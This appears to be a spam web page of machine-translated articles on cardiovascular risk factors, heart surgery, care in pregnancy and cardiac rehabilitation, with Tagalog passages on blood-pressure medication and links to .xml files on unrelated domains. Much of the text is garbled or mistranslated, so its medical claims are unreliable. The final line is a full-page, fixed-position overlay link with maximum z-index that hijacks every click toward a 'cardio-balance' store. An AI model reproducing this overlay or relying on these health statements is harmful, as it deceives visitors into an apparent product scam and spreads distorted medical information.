# The most important factors of cardiovascular diseases #
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## Surgical treatment of cardiovascular diseases ##
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Madalas nagtatanong ang mga tao sa mga botika tungkol sa mga gamot laban sa presyon ng bagong henerasyon na walang side effects. Pero sa totoong buhay, hindi ito nangyayari. Lahat ng epektibong gamot ay may kanya-kanyang side effects. Kailangan mong maglaan ng maraming oras kasama ang iyong doktor para piliin ang tamang grupo ng gamot laban sa high blood pressure para sa'yo.
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The most important factors of cardiovascular diseases
Cardiovascular diseases represent one of the main causes of morbidity and mortality. The emergence of these diseases is influenced by a variety of factors that can be divided into modifiable and non-modifiable categories.
Non-modifiable risk factors
Among the non-modifiable factors:
Age: With age, the risk for heart increases cardiovascular disease significantly. Especially from the age of 45. Age in men, and from the age of 55. The age of women is a significant increase.
Gender: men exposed, in General, a higher risk than women, particularly in younger age groups. After Menopause, the risk values in the case of women, however men approach.
Genetic predisposition: A family history of cardiovascular disease increases the individual's risk. In particular, if a close relative (parents, siblings) before the age of 55. (Men) or 65. Years (women) from coronary heart disease have suffered.
Modifiable Risk Factors
The most important modifiable risk factors include:
High blood pressure (hypertension): A permanently elevated blood pressure damages the blood vessels and increases the load on the heart. A blood pressure ≥140/90 mmHg is considered to be critical.
Elevated cholesterol levels: in Particular, increased levels of LDL cholesterol (bad cholesterol) promotes the formation of atherosclerosis plaques in the arteries.
Diabetes mellitus: patients with Diabetes have a two to three fold increased risk for cardiovascular events. The chronically elevated blood glucose concentration causes harm to the vessel wall.
Smoking: nicotine and other harmful substances in tobacco smoke to damage the inner vessel of the skin, increase the heart rate and cause blood vessels to a narrowing of the blood. Smokers have a 2-4‑fold increased risk for heart attacks.
Overweight and obesity: A Body Mass Index (BMI) ≥30 kg/m
2
increases the risk of diseases due to the additional load on the cardiovascular system, and frequent monitoring.
Lack of exercise: Regular physical activity strengthens the heart muscle tissue and lowers blood pressure. A lack of exercise increases the risk of disease significantly.
Unhealthy diet: A high consumption of saturated fats, salt and sugar promotes Obesity, hypertension and dyslipidemia.
Stress: Chronic Stress can lead to high blood pressure, heart rhythm disorders, and unhealthy compensatory mechanisms (e.g., excessive alcohol consumption).
Synergistic Effects
Especially dangerous is the combination of several risk factors, which can reinforce each other. For example, Smoking and hypertension increase together, the risk for a heart attack is significantly greater than the sum of their individual effects.
Preventive Measures
Effective prevention of cardiovascular diseases, therefore, requires a holistic approach that includes the following measures:
Periodic medical examinations for the early detection of risk factors
Blood pressure and blood sugar control
Lower cholesterol through Diet and medication if necessary
Cessation of Smoking
Sufficient physical activity (at least 150 minutes of moderate activity per week)
Weight reduction in Overweight
Stress Management Techniques
A healthy diet with lots of fruits, vegetables, fiber, and unsaturated fatty acids
Through the influence of modifiable risk factors of the individual risk for cardiovascular can be diseases significantly lower, and the quality of life and life expectancy significantly improve.
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> Ang presyon ng dugo ay isa sa mga pangunahing indikasyon ng kalusugan, na hindi lamang sumasalamin sa puso at sistema ng sirkulasyon, kundi pati na rin sa aktibidad ng mga bato, mga organo ng endokrin, paggawa ng dugo, at ng sistema ng nerbiyos. Kaya naman, walang isang unibersal na gamot laban sa mataas na presyon ng dugo. Hindi ka basta basta puwedeng pumunta sa botika at magtanong ng 'tableta para sa presyon,' kasi agad na tatanungin ng parmasyutiko – anong gamot ang nireseta sa iyo ng doktor?
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## The treatment of cardiovascular diseases in pregnant women ##
Worry-free pregnant: Safe in the treatment of cardiovascular diseases
Pregnancy is a wonderful but challenging time, especially if you suffer from a cardiovascular disease. Your well-being and that of your unborn child, for us, in the first place.
Our Team of experienced cardiologists and obstetricians provides you with a personalized care that is tailored to the specific needs of a pregnancy in the case of heart problems. We combine state of the art diagnostics with gentle, safe therapeutic approaches to relieve your heart and at the same time ensuring the healthy development of your baby.
What we offer you:
regular, careful Monitoring of their cardiovascular function;
tailor-made medication treatment, which protects both your and the health of your child;
close cooperation between cardiologists, obstetricians and other specialists;
to live a comprehensive consulting style, diet and physical activity during pregnancy;
psycho-social support to their Fears and Concerns to reduce.
You can rely on the Expertise and care.
You will be in our special outpatient clinic for cardiovascular diseases in Pregnant women to advise you. We will accompany you step by step through this special time, and ensure that you start in a healthy and relaxed in the Parenting.
Appointment:
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<a href="http://chinahk-ip.com/chinahk_ip/html/files/editor/5882-lectures-of-diseases-of-the-cardiovascular-system.xml">Physical Rehabilitation in diseases of the cardiovascular System</a> ** The most important factors of cardiovascular diseases **.
Surgical treatment of cardiovascular diseases
Cardiovascular disease causes are one of the leading death in the world. The surgical therapy plays a Central role, in particular in the case of advanced or life-threatening forms of these diseases. The Following are important operational procedures and their indications will be presented.
Coronary artery Bypass surgery (CABG)
One of the most commonly performed procedure, the coronary artery Bypass surgery in severe coronary heart disease (CHD), to the application is. In this Operation, a blood vessel (usually saphenous vein or internal mammary artery internals) as a Bypass of a narrowed or blocked section of the coronary artery is placed. The goal is the restoration of adequate myocardial perfusion and the reduction of Angina pectoris, as well as the risk of myocardial infarction is. Studies show that the CABG achieved in patients with more gefäßiger CHD in the long term, better results than percutaneous coronary Intervention (PCI).
Heart valve surgery
Defective heart valves (stenosis or insufficiency) can be treated by different surgical techniques:
Flaps replazierung The defective valve is replaced by a mechanical or biological prosthesis. Mechanical Valves are durable, but require life-long anticoagulation. Biological Valves have a limited shelf-life, but are not usually associated with a long-term medication.
Flap repair: Where possible, the aim is to repair the heart valve (e.g., Annuloplasty for mitral insufficiency), flaps. This method maintains the natural anatomy and avoids the risks of a Prosthesis.
Transplantation of the heart
In the case of end-stage heart failure that can't be treated with conservative measures adequately represents the heart transplantation is the treatment of choice. Although the surgical technique is well established, remain challenges, such as the organ availability, the risk of Rejection and the long-term consequences of immunosuppression.
The Minimally-invasive and robot-assisted procedures
In recent years, minimally invasive techniques, and the robots have developed assisted surgery. These procedures allow:
smaller incisions,
reduced blood loss
shorter hospital stays,
faster Rehabilitation.
Examples are flaps the minimally invasive coronary bypass surgery (BLOWERS) or robot-assisted repair of heart.
Conclusion
The surgical treatment of cardiovascular disease encompasses a wide range of interventions — from the classic Bypass surgery and heart transplantation. The decision for a specific procedure requires an individual to weigh up the risks and Benefits, taking into account the patients ' characteristics and disease severity. Advances in minimally invasive surgery and robot-assisted technology to open in the future for more opportunities to improve the results of treatment and quality of life of patients.
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- [x] <a href="http://cancercareresearch.com/userfiles/the-risk-of-cardiovascular-disease-calculator-4039.xml">Surgical treatment of cardiovascular diseases</a>
- [x] <a href="http://ceslab.org/somatic-diseases-of-the-circulatory-system.xml">The treatment of cardiovascular diseases in pregnant women</a>
- [x] <a href="http://leeharringtonhomes.com/userfiles/high-blood-pressure-can-die.xml">Physical Rehabilitation in diseases of the cardiovascular System</a>
- [x] <a href="http://drthchowdary.net/userfiles/cardiovascular-disease-and-life-expectancy.xml">http://drthchowdary.net/userfiles/cardiovascular-disease-and-life-expectancy.xml</a>
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## Physical Rehabilitation in diseases of the cardiovascular System ##
Physical Rehabilitation in diseases of the cardiovascular system
The physical Rehabilitation of patients with diseases of the cardiovascular system is an essential component of modern treatment concepts. Your goal is to improve the quality of life of the Affected sustainably, to reduce the risk of Rekurrenzen and the General physical performance of restore.
Among the most common indications for a physical cardiac rehabilitation:
Myocardial infarction;
Heart operations (e.g., Bypass surgery, valve replacement);
chronic heart failure;
coronary heart disease (CHD);
Risk factors such as hypertension, Diabetes mellitus, and hyperlipidemia.
The rehabilitation program consists of several columns, which are interdisciplinary matched:
Physical Training. It is the heart of the Rehabilitation forms. The training methods can be individually adjusted and include:
Endurance exercise (e.g., walking, Cycling, Swimming) with a controlled heart rate;
Strength training with low Weights to strengthen the skeletal muscles;
Flexibility and stretching exercises to improve range of motion.
Medical Monitoring. During the training sessions, a constant Monitoring of heart rate, blood pressure and ECG is performed in order to assess the capacity of the patient, and to identify potential risks at an early stage.
Nutrition consulting. A heart-healthy diet plays a crucial role in risk reduction. Patients received recommendations for the reduction of salt, saturated fat and cholesterol, as well as to increase the consumption of fruit, vegetables and fibre.
Behaviour and risk modification. Here are the measures to Smoking abstinence, stress-mediated response and improvement of sleep. In addition, the patients are informed about their disease and the importance of regular physical activity.
Psycho-Social Support. Many patients suffer after a cardiac event have anxiety, depression or social Isolation. Psychological counseling and group therapies, contribute to the strengthening of Self-awareness and better disease-processing.
Effectiveness and long-term results
Studies have shown that a structured cardiac rehabilitation can reduce the mortality rate of 20-30%. In addition, it leads to a significant improvement of cardiovascular Fitness, a reduction of complaints and a higher quality of life. Particularly important is the Transition from the clinical Rehabilitation to the life-long physical activity, so that the results remain stable.
Conclusion
Physical Rehabilitation in cardiovascular disease, an evidence-based, multi-disciplinary approach that promotes not only physical health, but also the psycho-social well-being of the patient. A personalized and long-term Rehabilitation is the key to sustainable improvement of the prognosis and quality of life of patients with cardiovascular diseases.
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The most important factors of cardiovascular diseases</a>